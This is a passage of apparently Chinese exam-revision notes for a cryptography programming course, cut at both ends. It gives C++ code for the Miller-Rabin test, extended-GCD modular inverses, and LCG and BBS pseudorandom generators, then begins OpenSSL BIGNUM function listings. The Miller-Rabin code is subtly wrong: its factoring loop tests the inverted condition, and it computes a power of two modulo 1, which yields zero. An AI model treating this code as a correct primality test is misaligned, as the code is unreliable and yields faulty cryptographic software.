class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.9945em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.9021em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span></li></ul><p>所以，<strong>如果都不满足这两个条件，那么 n 必然不是素数。但是如果满足也不一定是素数</strong>。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">bool</span> <span class="title">Miller_Rabin</span><span class="params">(<span class="type">unsigned</span> <span class="type">int</span> n,<span class="type">unsigned</span> a)</span> </span>&#123;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> tmp = n<span class="number">-1</span>;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> k,q;</span><br><span class="line">    k=<span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span>(tmp%<span class="number">2</span>!=<span class="number">0</span>)&#123;</span><br><span class="line">        k++;</span><br><span class="line">        tmp/=<span class="number">2</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    q=tmp;</span><br><span class="line">    <span class="keyword">if</span>(<span class="built_in">mod_exp</span>(a,q,n) == <span class="number">1</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> j=<span class="number">1</span>;j&lt;=k;j++)&#123;</span><br><span class="line">        <span class="keyword">if</span>(<span class="built_in">mod_exp</span>(a,<span class="built_in">mod_exp</span>(<span class="number">2</span>,j<span class="number">-1</span>,<span class="number">1</span>)*q,n)==n<span class="number">-1</span>)&#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="乘法逆元">乘法逆元</h3><p>详细过程参考<a href="https://www.blog-blockchain.xyz/college-courses/modular-inverses/">笔记</a>，实际考试的时候大概率记住最好。这也是没办法的事情，考试主要是记忆已有的东西。记住基本递归形式，记住每次回溯的方式。<strong>特别注意溢出的问题，特别是采用 unsigned int 时做减法</strong></p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> <span class="title">extgcd</span><span class="params">(<span class="type">unsigned</span> <span class="type">int</span> a, <span class="type">unsigned</span> <span class="type">int</span> b, <span class="type">int</span> &amp;x, <span class="type">int</span> &amp;y)</span></span>&#123;</span><br><span class="line">    <span class="keyword">if</span>(a==<span class="number">0</span>)&#123;</span><br><span class="line">        x = <span class="number">0</span>;</span><br><span class="line">        y = <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">extgcd</span>(b%a,a,x,y);</span><br><span class="line">    <span class="type">int</span> t = x;</span><br><span class="line">    x = y - b/a*x;</span><br><span class="line">    y = t;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">unsigned</span> <span class="type">int</span> <span class="title">gcd</span><span class="params">(<span class="type">unsigned</span> <span class="type">int</span> a, <span class="type">unsigned</span> <span class="type">int</span> b)</span></span>&#123;</span><br><span class="line"><span class="keyword">if</span>(a%b == <span class="number">0</span>)&#123;</span><br><span class="line"><span class="keyword">return</span> b;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="built_in">gcd</span>(b,a%b);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">reverse</span><span class="params">(<span class="type">unsigned</span> <span class="type">int</span> a, <span class="type">unsigned</span> <span class="type">int</span> n)</span></span>&#123;</span><br><span class="line"><span class="keyword">if</span>(!a||!n||<span class="built_in">gcd</span>(a,n)!=<span class="number">1</span>)&#123;</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> x,y;</span><br><span class="line"><span class="built_in">extgcd</span>(a,n,x,y);</span><br><span class="line"><span class="keyword">return</span> x%n;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>考试之前记得记一记。</p><h2 id="伪随机数生成器">伪随机数生成器</h2><p>随机数具有随机性：<strong>均匀分布</strong>、<strong>难以重现</strong>，机器生成的一般时伪随机数。伪随机数生成器通过种子和确定性算法，生成不断迭代的伪随机序列，具有<strong>伪随机性</strong>、<strong>可重现</strong></p><img src="http://cdn.blog-blockchain.xyz/202211230842387.png" alt="image-20221123084155703" style="zoom: 50%;" /><p>一般 C 语言生成随机数都是先 <code>srand(seed)</code> 设置种子，最常见的是 <code>srand(time(NULL))</code></p><h3 id="LCG">LCG</h3><p>线性同余伪随机数生成器的基本结构是</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord mathnormal">a</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span></span></p><ul><li>a 叫做乘数</li><li>c 叫做增量。</li><li>m 叫做模数。</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 初始值叫做种子。</li></ul><p>它生成的伪随机数具备以下性质：</p><ol><li>不具备全周期性质。循环的长度不一定为 m-1，可能生成的随机数只有少数几个。</li><li>容易根据之前的随机数 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span></span></span></span> 推断出 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></li></ol><p>所以线性同余位随机数生成器不具备<strong>可证明的安全性</strong>，可证明安全性指的是 <em>可以将区分伪随机数和随机数规约为解决数学难题</em></p><h3 id="BBS">BBS</h3><p>BBS (Blum Blum Shub) 伪随机数生成器具备可证明安全性，基于<strong>大数难分解</strong>困难问题（给定 n，无法确定 n 的因子），结构如下：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1694em;vertical-align:-0.3053em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3053em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:3em;vertical-align:-1.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size4">{</span></span><span class="mord"><span class="mtable"><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.69em;"><span style="top:-3.69em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">pq</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">3</span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">4</span></span></span><span style="top:-2.25em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathrm">gcd</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathrm">n</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.19em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>然后从 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 中每个数选择重要的比特位（比如最低位、奇校验位、偶校验位），然后组成了一个 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7429em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 位的二进制序列。注意 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 是最高位。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">unsigned</span> <span class="type">int</span> <span class="title">least_bit</span><span class="params">(<span class="type">unsigned</span> <span class="type">int</span> n)</span></span>&#123;</span><br><span class="line"><span class="keyword">return</span> n&amp;<span class="number">0x0001</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">unsigned</span> <span class="type">int</span> <span class="title">even_check_bit</span><span class="params">(<span class="type">unsigned</span> <span class="type">int</span> n)</span></span>&#123;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> cnt = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">while</span>(n!=<span class="number">0</span>)&#123;</span><br><span class="line">cnt+=n%<span class="number">2</span>;</span><br><span class="line">n /=<span class="number">2</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(cnt%<span class="number">2</span>==<span class="number">0</span>)&#123;</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">unsigned</span> <span class="type">int</span> <span class="title">odd_check_bit</span><span class="params">(<span class="type">unsigned</span> <span class="type">int</span> n)</span></span>&#123;</span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span> - <span class="built_in">even_check_bit</span>(n);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">unsigned</span> <span class="type">int</span> <span class="title">bbs</span><span class="params">(<span class="type">int</span> flag)</span></span>&#123;</span><br><span class="line"><span class="type">unsigned</span> p,q,n,s,res;</span><br><span class="line">p=<span class="number">11</span>,q=<span class="number">19</span>,s=<span class="number">3</span>,n=p*q;</span><br><span class="line">res = <span class="number">0</span>;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> i;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span>(i=<span class="number">0</span>;i&lt;<span class="number">32</span>;i++)&#123;</span><br><span class="line">s = (s%n)*(s%n)%n;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> b;</span><br><span class="line"><span class="keyword">switch</span>(flag)&#123;</span><br><span class="line"><span class="keyword">case</span> <span class="number">0</span>:</span><br><span class="line">b = <span class="built_in">least_bit</span>(s);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"><span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">b = <span class="built_in">odd_check_bit</span>(s) ;</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"><span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">b = <span class="built_in">even_check_bit</span>(s);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line">res=res*<span class="number">2</span>;</span><br><span class="line">res+= b;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> res;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>另外，这里老师还介绍了微秒级别的获取时间的函数 <code>gettimeofday</code>，主要记得它的参数类型是 <code>struct timeval</code>：</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>&#123;</span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">timeval</span> start,end;</span><br><span class="line"><span class="built_in">gettimeofday</span>(&amp;start,<span class="literal">NULL</span>);</span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> a = (<span class="type">unsigned</span> <span class="type">int</span>)<span class="number">-1</span>;</span><br><span class="line">cout&lt;&lt;<span class="built_in">bbs</span>(<span class="number">0</span>)&lt;&lt;endl;</span><br><span class="line">cout&lt;&lt;<span class="built_in">bbs</span>(<span class="number">1</span>)&lt;&lt;endl;</span><br><span class="line">cout&lt;&lt;<span class="built_in">bbs</span>(<span class="number">2</span>)&lt;&lt;endl;</span><br><span class="line"><span class="built_in">gettimeofday</span>(&amp;end,<span class="literal">NULL</span>);</span><br><span class="line"><span class="type">float</span> time_use = (end.tv_sec - start.tv_sec) * <span class="number">1000000</span> + (end.tv_usec - start.tv_usec);</span><br><span class="line">cout&lt;&lt; time_use&lt;&lt;endl;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>不过，读者可以在 Linux 系统下用 <code>man</code> 命令获取相关信息。</p><h2 id="非对称密码">非对称密码</h2><p>从这一节开始，我们不再自己写算法，而是学会使用 <code>openssl</code> 库来实现密码学函数。</p><h3 id="大数运算">大数运算</h3><p>大数运算时最基础的 <code>openssl</code> 内容，用于处理任意大的整数。在此之前，请检查是否按照密码学库，运行 <code>sudo apt-get install libssl-dev</code>。编译时需要引入库：<code>gcc/g++ &lt;源文件&gt; -o &lt;可执行文件&gt; -lcrypto</code>。这里主要使用 <code>&lt;openssl/bn.h&gt;</code>。</p><h4 id="创建和释放">创建和释放</h4><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"> <span class="meta">#<span class="keyword">include</span> <span class="string">&lt;openssl/bn.h&gt;</span></span></span><br><span class="line"><span class="comment">//返回一个初始化了的 BIGNUM 类型的对象的指针，失败返回 NULL</span></span><br><span class="line"> <span class="function">BIGNUM *<span class="title">BN_new</span><span class="params">(<span class="type">void</span>)</span></span>;</span><br><span class="line"><span class="comment">//初始化已经分配了内存的 BIGNUM</span></span><br><span class="line"> <span class="function"><span class="type">void</span> <span class="title">BN_init</span><span class="params">(BIGNUM *)</span></span>;</span><br><span class="line"><span class="comment">//不释放内存，但是将变量赋值0</span></span><br><span class="line"> <span class="function"><span class="type">void</span> <span class="title">BN_clear</span><span class="params">(BIGNUM *a)</span></span>;</span><br><span class="line"><span class="comment">//释放内存</span></span><br><span class="line"> <span class="function"><span class="type">void</span> <span class="title">BN_free</span><span class="params">(BIGNUM *a)</span></span>;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="type">void</span> <span class="title">BN_clear_free</span><span class="params">(BIGNUM *a)</span></span>;</span><br></pre></td></tr></table></figure><p>下面是 <code>CTX</code> 也就是 context 类型，用于计算时暂存上下文，下面时创建和释放的方法。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">#<span class="meta">#<span class="keyword">include</span> <span class="string">&lt;openssl/bn.h&gt;</span></span></span><br><span class="line"><span class="function">BN_CTX *<span class="title">BN_CTX_new</span><span class="params">(<span class="type">void</span>)</span></span>;</span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">BN_CTX_free</span><span class="params">(BN_CTX *c)</span></span>;</span><br></pre></td></tr></table></figure><h4 id="基本赋值">基本赋值</h4><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> <span class="title">BN_zero</span><span class="params">(BIGNUM *a)</span></span>;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">BN_one</span><span class="params">(BIGNUM *a)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">BN_bn2bin</span><span class="params">(<span class="type">const</span> BIGNUM *a, <span class="type">unsigned</span> <span class="type">char</span> *to)</span></span>;</span><br><span 